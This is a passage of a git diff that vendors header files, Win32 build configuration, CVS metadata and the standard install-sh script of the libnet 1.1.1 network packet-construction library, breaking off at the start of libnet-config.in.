+#else + __int64 packets_sent; /* packets sent */ + __int64 packet_errors; /* packets errors */ + __int64 bytes_written; /* bytes written */ +#endif +}; + + +/* + * Libnet ptags are how we identify specific protocol blocks inside the + * list. + */ +typedef int32_t libnet_ptag_t; +#define LIBNET_PTAG_INITIALIZER 0 + + +/* + * Libnet generic protocol block memory object. Sort of a poor man's mbuf. + */ +struct libnet_protocol_block +{ + u_int8_t *buf; /* protocol buffer */ + u_int32_t b_len; /* length of buf */ + u_int16_t h_len; /* header length (for checksumming) */ + u_int32_t ip_offset; /* offset to IP header for csums */ + u_int32_t copied; /* bytes copied */ + u_int8_t type; /* type of pblock */ +/* this needs to be updated every time a new packet builder is added */ +#define LIBNET_PBLOCK_ARP_H 0x01 /* ARP header */ +#define LIBNET_PBLOCK_DHCPV4_H 0x02 /* DHCP v4 header */ +#define LIBNET_PBLOCK_DNSV4_H 0x03 /* DNS v4 header */ +#define LIBNET_PBLOCK_ETH_H 0x04 /* Ethernet header */ +#define LIBNET_PBLOCK_ICMPV4_H 0x05 /* ICMP v4 base header */ +#define LIBNET_PBLOCK_ICMPV4_ECHO_H 0x06 /* ICMP v4 echo header */ +#define LIBNET_PBLOCK_ICMPV4_MASK_H 0x07 /* ICMP v4 mask header */ +#define LIBNET_PBLOCK_ICMPV4_UNREACH_H 0x08 /* ICMP v4 unreach header */ +#define LIBNET_PBLOCK_ICMPV4_TIMXCEED_H 0x09 /* ICMP v4 exceed header */ +#define LIBNET_PBLOCK_ICMPV4_REDIRECT_H 0x0a /* ICMP v4 redirect header */ +#define LIBNET_PBLOCK_ICMPV4_TS_H 0x0b /* ICMP v4 timestamp header */ +#define LIBNET_PBLOCK_IGMP_H 0x0c /* IGMP header */ +#define LIBNET_PBLOCK_IPV4_H 0x0d /* IP v4 header */ +#define LIBNET_PBLOCK_IPO_H 0x0e /* IP v4 options */ +#define LIBNET_PBLOCK_IPDATA 0x0f /* IP data */ +#define LIBNET_PBLOCK_OSPF_H 0x10 /* OSPF base header */ +#define LIBNET_PBLOCK_OSPF_HELLO_H 0x11 /* OSPF hello header */ +#define LIBNET_PBLOCK_OSPF_DBD_H 0x12 /* OSPF dbd header */ +#define LIBNET_PBLOCK_OSPF_LSR_H 0x13 /* OSPF lsr header */ +#define LIBNET_PBLOCK_OSPF_LSU_H 0x14 /* OSPF lsu header */ +#define LIBNET_PBLOCK_OSPF_LSA_H 0x15 /* OSPF lsa header */ +#define LIBNET_PBLOCK_OSPF_AUTH_H 0x16 /* OSPF auth header */ +#define LIBNET_PBLOCK_OSPF_CKSUM 0x17 /* OSPF checksum header */ +#define LIBNET_PBLOCK_LS_RTR_H 0x18 /* linkstate rtr header */ +#define LIBNET_PBLOCK_LS_NET_H 0x19 /* linkstate net header */ +#define LIBNET_PBLOCK_LS_SUM_H 0x1a /* linkstate as sum header */ +#define LIBNET_PBLOCK_LS_AS_EXT_H 0x1b /* linkstate as ext header */ +#define LIBNET_PBLOCK_NTP_H 0x1c /* NTP header */ +#define LIBNET_PBLOCK_RIP_H 0x1d /* RIP header */ +#define LIBNET_PBLOCK_TCP_H 0x1e /* TCP header */ +#define LIBNET_PBLOCK_TCPO_H 0x1f /* TCP options */ +#define LIBNET_PBLOCK_TCPDATA 0x20 /* TCP data */ +#define LIBNET_PBLOCK_UDP_H 0x21 /* UDP header */ +#define LIBNET_PBLOCK_VRRP_H 0x22 /* VRRP header */ +#define LIBNET_PBLOCK_DATA_H 0x23 /* generic data */ +#define LIBNET_PBLOCK_CDP_H 0x24 /* CDP header */ +#define LIBNET_PBLOCK_IPSEC_ESP_HDR_H 0x25 /* IPSEC ESP header */ +#define LIBNET_PBLOCK_IPSEC_ESP_FTR_H 0x26 /* IPSEC ESP footer */ +#define LIBNET_PBLOCK_IPSEC_AH_H 0x27 /* IPSEC AH header */ +#define LIBNET_PBLOCK_802_1Q_H 0x28 /* 802.1q header */ +#define LIBNET_PBLOCK_802_2_H 0x29 /* 802.2 header */ +#define LIBNET_PBLOCK_802_2SNAP_H 0x2a /* 802.2 SNAP header */ +#define LIBNET_PBLOCK_802_3_H 0x2b /* 802.3 header */ +#define LIBNET_PBLOCK_STP_CONF_H 0x2c /* STP configuration header */ +#define LIBNET_PBLOCK_STP_TCN_H 0x2d /* STP TCN header */ +#define LIBNET_PBLOCK_ISL_H 0x2e /* ISL header */ +#define LIBNET_PBLOCK_IPV6_H 0x2f /* IP v6 header */ +#define LIBNET_PBLOCK_802_1X_H 0x30 /* 802.1x header */ +#define LIBNET_PBLOCK_RPC_CALL_H 0x31 /* RPC Call header */ +#define LIBNET_PBLOCK_MPLS_H 0x32 /* MPLS header */ +#define LIBNET_PBLOCK_FDDI_H 0x33 /* FDDI header */ +#define LIBNET_PBLOCK_TOKEN_RING_H 0x34 /* TOKEN RING header */ +#define LIBNET_PBLOCK_BGP4_HEADER_H 0x35 /* BGP4 header */ +#define LIBNET_PBLOCK_BGP4_OPEN_H 0x36 /* BGP4 open header */ +#define LIBNET_PBLOCK_BGP4_UPDATE_H 0x37 /* BGP4 update header */ +#define LIBNET_PBLOCK_BGP4_NOTIFICATION_H 0x38 /* BGP4 notification header */ +#define LIBNET_PBLOCK_GRE_H 0x39 /* GRE header */ +#define LIBNET_PBLOCK_GRE_SRE_H 0x3a /* GRE SRE header */ +#define LIBNET_PBLOCK_IPV6_FRAG_H 0x3b /* IPv6 frag header */ +#define LIBNET_PBLOCK_IPV6_ROUTING_H 0x3c /* IPv6 routing header */ +#define LIBNET_PBLOCK_IPV6_DESTOPTS_H 0x3d /* IPv6 dest opts header */ +#define LIBNET_PBLOCK_IPV6_HBHOPTS_H 0x3e /* IPv6 hop/hop opts header */ +#define LIBNET_PBLOCK_SEBEK_H 0x3f /* Sebek header */ +#define LIBNET_PBLOCK_HSRP_H 0x40 /* HSRP header */ + u_int8_t flags; /* control flags */ +#define LIBNET_PBLOCK_DO_CHECKSUM 0x01 /* needs a checksum */ + libnet_ptag_t ptag; /* protocol block tag */ + struct libnet_protocol_block *next; /* next pblock */ + struct libnet_protocol_block *prev; /* prev pblock */ +}; +typedef struct libnet_protocol_block libnet_pblock_t; + + +/* + * Libnet context + * Opaque structure. Nothing in here should ever been touched first hand by + * the applications programmer. + */ +struct libnet_context +{ +#if ((__WIN32__) && !(__CYGWIN__)) + SOCKET fd; + LPADAPTER lpAdapter; +#else + int fd; /* file descriptor of packet device */ +#endif + int injection_type; /* raw (ipv4 or ipv6) or link */ +#define LIBNET_LINK 0x00 /* link-layer interface */ +#define LIBNET_RAW4 0x01 /* raw socket interface (ipv4) */ +#define LIBNET_RAW6 0x02 /* raw socket interface (ipv6) */ +/* the following should actually set a flag in the flags variable above */ +#define LIBNET_LINK_ADV 0x08 /* advanced mode link-layer */ +#define LIBNET_RAW4_ADV 0x09 /* advanced mode raw socket (ipv4) */ +#define LIBNET_RAW6_ADV 0x0a /* advanced mode raw socket (ipv6) */ +#define LIBNET_ADV_MASK 0x08 /* mask to determine adv mode */ + + libnet_pblock_t *protocol_blocks; /* protocol headers / data */ + libnet_pblock_t *pblock_end; /* last node in list */ + u_int32_t n_pblocks; /* number of pblocks */ + + int link_type; /* link-layer type */ + int link_offset; /* link-layer header size */ + int aligner; /* used to align packets */ + char *device; /* device name */ + + struct libnet_stats stats; /* statistics */ + libnet_ptag_t ptag_state; /* state holder for pblock tag */ + char label[LIBNET_LABEL_SIZE]; /* textual label for cq interface */ + + char err_buf[LIBNET_ERRBUF_SIZE]; /* error buffer */ + u_int32_t total_size; /* total size */ +}; +typedef struct libnet_context libnet_t; + +/* + * Libnet context queue structure + * Opaque structure. Nothing in here should ever been touched first hand by + * the applications programmer. + */ +typedef struct _libnet_context_queue libnet_cq_t; +struct _libnet_context_queue +{ + libnet_t *context; /* pointer to libnet context */ + libnet_cq_t *next; /* next node in the list */ + libnet_cq_t *prev; /* previous node in the list */ +}; + +struct _libnet_context_queue_descriptor +{ + u_int32_t node; /* number of nodes in the list */ + u_int32_t cq_lock; /* lock status */ + libnet_cq_t *current; /* current context */ +}; +typedef struct _libnet_context_queue_descriptor libnet_cqd_t; + +#endif /* __LIBNET_STRUCTURES_H */ + +/* EOF */ diff --git a/libnet/include/libnet/libnet-types.h b/libnet/include/libnet/libnet-types.h new file mode 100644 index 0000000..ea6ee24 --- /dev/null +++ b/libnet/include/libnet/libnet-types.h @@ -0,0 +1,55 @@ +/* + * $Id: libnet-types.h,v 1.3 2004/01/03 20:31:00 mike Exp $ + * + * libnet-types.h - Network routine library macro header file + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#ifndef __LIBNET_TYPES_H +#define __LIBNET_TYPES_H + +#ifdef HAVE_CONFIG_H +#include "../config.h" +#endif + +/* Solaris has messed up POSIX nomenclature for int types */ +#if HAVE_SOLARIS +#include <inttypes.h> +#else +#include <stdint.h> +#endif + +/* +typedef uint8_t u_int8_t; +typedef uint16_t u_int16_t; +typedef uint32_t u_int32_t; +typedef uint64_t u_int64_t; +*/ + +#endif /* __LIBNET_TYPES_H */ + +/* EOF */ diff --git a/libnet/include/stamp-h.in b/libnet/include/stamp-h.in new file mode 100644 index 0000000..9788f70 --- /dev/null +++ b/libnet/include/stamp-h.in @@ -0,0 +1 @@ +timestamp diff --git a/libnet/include/win32/CVS/Entries b/libnet/include/win32/CVS/Entries new file mode 100644 index 0000000..4407902 --- /dev/null +++ b/libnet/include/win32/CVS/Entries @@ -0,0 +1,5 @@ +/config.h/1.4/Sat Jan 3 20:31:00 2004// +/getopt.h/1.1.1.1/Thu Jun 26 21:55:10 2003// +/in_systm.h/1.2/Sat Jun 28 18:03:57 2003// +/libnet.h/1.7/Sat Jan 3 20:31:00 2004// +D diff --git a/libnet/include/win32/CVS/Repository b/libnet/include/win32/CVS/Repository new file mode 100644 index 0000000..33fb6d6 --- /dev/null +++ b/libnet/include/win32/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/include/win32 diff --git a/libnet/include/win32/CVS/Root b/libnet/include/win32/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/include/win32/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/include/win32/config.h b/libnet/include/win32/config.h new file mode 100644 index 0000000..97033a9 --- /dev/null +++ b/libnet/include/win32/config.h @@ -0,0 +1,112 @@ +/* include/config.h.in. Generated from configure.in by autoheader. */ +/* +dnl $Id: config.h,v 1.4 2004/01/03 20:31:00 mike Exp $ +dnl +dnl Libnet autoconfiguration acconfig.h file +dnl Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +dnl All rights reserved. +dnl +dnl Process this file with autoheader to produce a config.h file. +dnl +*/ + +#undef LIBNET_BSDISH_OS +#undef LIBNET_BSD_BYTE_SWAP +#undef DLPI_DEV_PREFIX +#undef HAVE_DEV_DLPI +#undef HAVE_SOLARIS +#undef HAVE_SOLARIS_IPV6 +#undef HAVE_HPUX11 +#undef HAVE_SOCKADDR_SA_LEN +#undef HAVE_DLPI +#undef HAVE_PACKET_SOCKET +#undef HAVE_STRUCT_IP_CSUM +#undef HAVE_LIB_PCAP +#undef LBL_ALIGN +#undef STUPID_SOLARIS_CHECKSUM_BUG +#undef _BSD_SOURCE +#undef __BSD_SOURCE +#undef __FAVOR_BSD +#undef LIBNET_BIG_ENDIAN +#define LIBNET_LIL_ENDIAN 1 +#undef NO_SNPRINTF + + +/* +dnl EOF +*/ + +/* Define to 1 if you have the <inttypes.h> header file. */ +#undef HAVE_INTTYPES_H + +/* Define to 1 if you have the `nsl' library (-lnsl). */ +#undef HAVE_LIBNSL + +/* Define to 1 if you have the `packet' library (-lpacket). */ +#undef HAVE_LIBPACKET + +/* Define to 1 if you have the `socket' library (-lsocket). */ +#undef HAVE_LIBSOCKET + +/* Define to 1 if you have the `wpcap' library (-lwpcap). */ +#undef HAVE_LIBWPCAP + +/* Define to 1 if you have the <memory.h> header file. */ +#undef HAVE_MEMORY_H + +/* Define to 1 if you have the <net/ethernet.h> header file. */ +#define HAVE_NET_ETHERNET_H 1 + +/* Define to 1 if you have the <stdint.h> header file. */ +#undef HAVE_STDINT_H + +/* Define to 1 if you have the <stdlib.h> header file. */ +#undef HAVE_STDLIB_H + +/* Define to 1 if you have the `strerror' function. */ +#define HAVE_STRERROR 1 + +/* Define to 1 if you have the <strings.h> header file. */ +#undef HAVE_STRINGS_H + +/* Define to 1 if you have the <string.h> header file. */ +#undef HAVE_STRING_H + +/* Define to 1 if you have the <sys/bufmod.h> header file. */ +#undef HAVE_SYS_BUFMOD_H + +/* Define to 1 if you have the <sys/dlpi_ext.h> header file. */ +#undef HAVE_SYS_DLPI_EXT_H + +/* Define to 1 if you have the <sys/sockio.h> header file. */ +#undef HAVE_SYS_SOCKIO_H + +/* Define to 1 if you have the <sys/stat.h> header file. */ +#undef HAVE_SYS_STAT_H + +/* Define to 1 if you have the <sys/types.h> header file. */ +#undef HAVE_SYS_TYPES_H + +/* Define to 1 if you have the <unistd.h> header file. */ +#undef HAVE_UNISTD_H + +/* Name of package */ +#undef PACKAGE + +/* Define to the address where bug reports for this package should be sent. */ +#undef PACKAGE_BUGREPORT + +/* Define to the full name of this package. */ +#undef PACKAGE_NAME + +/* Define to the full name and version of this package. */ +#undef PACKAGE_STRING + +/* Define to the one symbol short name of this package. */ +#undef PACKAGE_TARNAME + +/* Define to the version of this package. */ +#undef PACKAGE_VERSION + +/* Define to 1 if you have the ANSI C header files. */ +#undef STDC_HEADERS diff --git a/libnet/include/win32/getopt.h b/libnet/include/win32/getopt.h new file mode 100644 index 0000000..6b6f643 --- /dev/null +++ b/libnet/include/win32/getopt.h @@ -0,0 +1,84 @@ +/* + * Copyright (c) 1987, 1993, 1994, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef __GETOPT_H__ +#define __GETOPT_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +extern int opterr; /* if error message should be printed */ +extern int optind; /* index into parent argv vector */ +extern int optopt; /* character checked for validity */ +extern int optreset; /* reset getopt */ +extern char *optarg; /* argument associated with option */ + +int getopt (int, char * const *, const char *); + +#ifdef __cplusplus +} +#endif + +#endif /* __GETOPT_H__ */ + +#ifndef __UNISTD_GETOPT__ +#ifndef __GETOPT_LONG_H__ +#define __GETOPT_LONG_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +struct option { + const char *name; + int has_arg; + int *flag; + int val; +}; + +int getopt_long (int, char *const *, const char *, const struct option *, int *); +#ifndef HAVE_DECL_GETOPT +#define HAVE_DECL_GETOPT 1 +#endif + +#define no_argument 0 +#define required_argument 1 +#define optional_argument 2 + +#ifdef __cplusplus +} +#endif + +#endif /* __GETOPT_LONG_H__ */ +#endif /* __UNISTD_GETOPT__ */ diff --git a/libnet/include/win32/in_systm.h b/libnet/include/win32/in_systm.h new file mode 100644 index 0000000..b0ee1a2 --- /dev/null +++ b/libnet/include/win32/in_systm.h @@ -0,0 +1,77 @@ +/* + * Copyright (c) 1982, 1986, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)in_systm.h 8.1 (Berkeley) 6/10/93 + * $FreeBSD: src/sys/netinet/in_systm.h,v 1.9 1999/12/29 04:41:00 peter Exp $ + */ + +#ifdef _WIN32 +#ifndef _NETINET_IN_SYSTM_H_ +#define _NETINET_IN_SYSTM_H_ + +typedef unsigned char u_int8_t; +typedef unsigned short u_int16_t; +typedef unsigned int u_int32_t; +typedef unsigned __int64 u_int64_t; + +typedef __int64 int64_t; +typedef int64_t rlim_t; + + +typedef u_int32_t in_addr_t; +typedef u_int32_t in_port_t; + +/* + * Miscellaneous internetwork + * definitions for kernel. + */ + +/* + * Network types. + * + * Internally the system keeps counters in the headers with the bytes + * swapped so that VAX instructions will work on them. It reverses + * the bytes before transmission at each protocol level. The n_ types + * represent the types with the bytes in ``high-ender'' order. + */ +typedef u_int16_t n_short; /* short as received from the net */ +typedef u_int32_t n_long; /* long as received from the net */ + +typedef u_int32_t n_time; /* ms since 00:00 GMT, byte rev */ + +#ifdef _KERNEL +n_time iptime __P((void)); +#endif + +#endif + +#endif diff --git a/libnet/include/win32/libnet.h b/libnet/include/win32/libnet.h new file mode 100644 index 0000000..4f0c10a --- /dev/null +++ b/libnet/include/win32/libnet.h @@ -0,0 +1,106 @@ +/*
+ * $Id: libnet.h,v 1.7 2004/01/03 20:31:00 mike Exp $
+ *
+ * libnet.h - Network routine library header file for Win32 VC++
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifdef _WIN32
+
+#ifndef __LIBNET_H
+#define __LIBNET_H
+
+#include <winsock2.h>
+#include <windows.h>
+#include <time.h>
+#include "in_systm.h"
+#include "pcap.h"
+
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* __WIN32__ is NOT a predefined MACRO, use _WIN32
+ * __CYGWIN__ is defined within the cygwin environment.
+ */
+#ifndef __WIN32__
+#define __WIN32__ _WIN32
+#endif
+
+#define LIBNET_LIL_ENDIAN 1
+#define HAVE_CONFIG_H 1
+
+/* Some UNIX to Win32 conversions */
+#define STDOUT_FILENO stdout
+#define snprintf _snprintf
+#define write _write
+#define open _open
+#define random rand
+#define close closesocket
+#define __func__ __FUNCTION__
+
+/* __FUNCTION__ available in VC ++ 7.0 (.NET) and greater */
+#if _MSC_VER < 1300
+#define __FUNCTION__ __FILE__
+#endif
+
+#pragma comment (lib,"ws2_32") /* Winsock 2 */
+#pragma comment (lib,"iphlpapi") /* IP Helper */
+#pragma comment (lib,"wpcap") /* Winpcap */
+#pragma comment (lib,"packet")
+
+/* "@LIBNET_VERSION@" will not work in VC++, so version.h doesn't get populated */
+#define VERSION "1.1.1"
+
+/* To use Win32 native versions */
+#define WPCAP 1
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <string.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <ctype.h>
+#include <errno.h>
+#include <stdarg.h>
+#include "../libnet/libnet-macros.h"
+#include "../libnet/libnet-headers.h"
+#include "../libnet/libnet-structures.h"
+#include "../libnet/libnet-asn1.h"
+#include "../libnet/libnet-functions.h"
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* __LIBNET_H */
+
+#endif
+/* EOF */
diff --git a/libnet/install-sh b/libnet/install-sh new file mode 100755 index 0000000..cbf15ed --- /dev/null +++ b/libnet/install-sh @@ -0,0 +1,250 @@ +#! /bin/sh +# +# install - install a program, script, or datafile +# This comes from X11R5 (mit/util/scripts/install.sh). +# +# Copyright 1991 by the Massachusetts Institute of Technology +# +# Permission to use, copy, modify, distribute, and sell this software and its +# documentation for any purpose is hereby granted without fee, provided that +# the above copyright notice appear in all copies and that both that +# copyright notice and this permission notice appear in supporting +# documentation, and that the name of M.I.T. not be used in advertising or +# publicity pertaining to distribution of the software without specific, +# written prior permission. M.I.T. makes no representations about the +# suitability of this software for any purpose. It is provided "as is" +# without express or implied warranty. +# +# Calling this script install-sh is preferred over install.sh, to prevent +# `make' implicit rules from creating a file called install from it +# when there is no Makefile. +# +# This script is compatible with the BSD install script, but was written +# from scratch. It can only install one file at a time, a restriction +# shared with many OS's install programs. + + +# set DOITPROG to echo to test this script + +# Don't use :- since 4.3BSD and earlier shells don't like it. +doit="${DOITPROG-}" + + +# put in absolute paths if you don't have them in your path; or use env. vars. + +mvprog="${MVPROG-mv}" +cpprog="${CPPROG-cp}" +chmodprog="${CHMODPROG-chmod}" +chownprog="${CHOWNPROG-chown}" +chgrpprog="${CHGRPPROG-chgrp}" +stripprog="${STRIPPROG-strip}" +rmprog="${RMPROG-rm}" +mkdirprog="${MKDIRPROG-mkdir}" + +transformbasename="" +transform_arg="" +instcmd="$cpprog" +chmodcmd="$chmodprog 0755" +chowncmd="" +chgrpcmd="" +stripcmd="" +rmcmd="$rmprog -f" +mvcmd="$mvprog" +src="" +dst="" +dir_arg="" + +while [ x"$1" != x ]; do + case $1 in + -c) instcmd="$cpprog" + shift + continue;; + + -d) dir_arg=true + shift + continue;; + + -m) chmodcmd="$chmodprog $2" + shift + shift + continue;; + + -o) chowncmd="$chownprog $2" + shift + shift + continue;; + + -g) chgrpcmd="$chgrpprog $2" + shift + shift + continue;; + + -s) stripcmd="$stripprog" + shift + continue;; + + -t=*) transformarg=`echo $1 | sed 's/-t=//'` + shift + continue;; + + -b=*) transformbasename=`echo $1 | sed 's/-b=//'` + shift + continue;; + + *) if [ x"$src" = x ] + then + src=$1 + else + # this colon is to work around a 386BSD /bin/sh bug + : + dst=$1 + fi + shift + continue;; + esac +done + +if [ x"$src" = x ] +then + echo "install: no input file specified" + exit 1 +else + true +fi + +if [ x"$dir_arg" != x ]; then + dst=$src + src="" + + if [ -d $dst ]; then + instcmd=: + else + instcmd=mkdir + fi +else + +# Waiting for this to be detected by the "$instcmd $src $dsttmp" command +# might cause directories to be created, which would be especially bad +# if $src (and thus $dsttmp) contains '*'. + + if [ -f $src -o -d $src ] + then + true + else + echo "install: $src does not exist" + exit 1 + fi + + if [ x"$dst" = x ] + then + echo "install: no destination specified" + exit 1 + else + true + fi + +# If destination is a directory, append the input filename; if your system +# does not like double slashes in filenames, you may need to add some logic + + if [ -d $dst ] + then + dst="$dst"/`basename $src` + else + true + fi +fi + +## this sed command emulates the dirname command +dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` + +# Make sure that the destination directory exists. +# this part is taken from Noah Friedman's mkinstalldirs script + +# Skip lots of stat calls in the usual case. +if [ ! -d "$dstdir" ]; then +defaultIFS=' +' +IFS="${IFS-${defaultIFS}}" + +oIFS="${IFS}" +# Some sh's can't handle IFS=/ for some reason. +IFS='%' +set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` +IFS="${oIFS}" + +pathcomp='' + +while [ $# -ne 0 ] ; do + pathcomp="${pathcomp}${1}" + shift + + if [ ! -d "${pathcomp}" ] ; + then + $mkdirprog "${pathcomp}" + else + true + fi + + pathcomp="${pathcomp}/" +done +fi + +if [ x"$dir_arg" != x ] +then + $doit $instcmd $dst && + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi +else + +# If we're going to rename the final executable, determine the name now. + + if [ x"$transformarg" = x ] + then + dstfile=`basename $dst` + else + dstfile=`basename $dst $transformbasename | + sed $transformarg`$transformbasename + fi + +# don't allow the sed command to completely eliminate the filename + + if [ x"$dstfile" = x ] + then + dstfile=`basename $dst` + else + true + fi + +# Make a temp file name in the proper directory. + + dsttmp=$dstdir/#inst.$$# + +# Move or copy the file name to the temp name + + $doit $instcmd $src $dsttmp && + + trap "rm -f ${dsttmp}" 0 && + +# and set any options; do chmod last to preserve setuid bits + +# If any of these fail, we abort the whole thing. If we want to +# ignore errors from any of these, just make sure not to ignore +# errors from the above "$doit $instcmd $src $dsttmp" command. + + if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && + if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && + if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && + if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && + +# Now rename the file to the real destination. + + $doit $rmcmd -f $dstdir/$dstfile && + $doit $mvcmd $dsttmp $dstdir/$dstfile + +fi && + + +exit 0 diff --git a/libnet/libnet-config.in b/libnet/libnet-config.in new file mode 100644 index 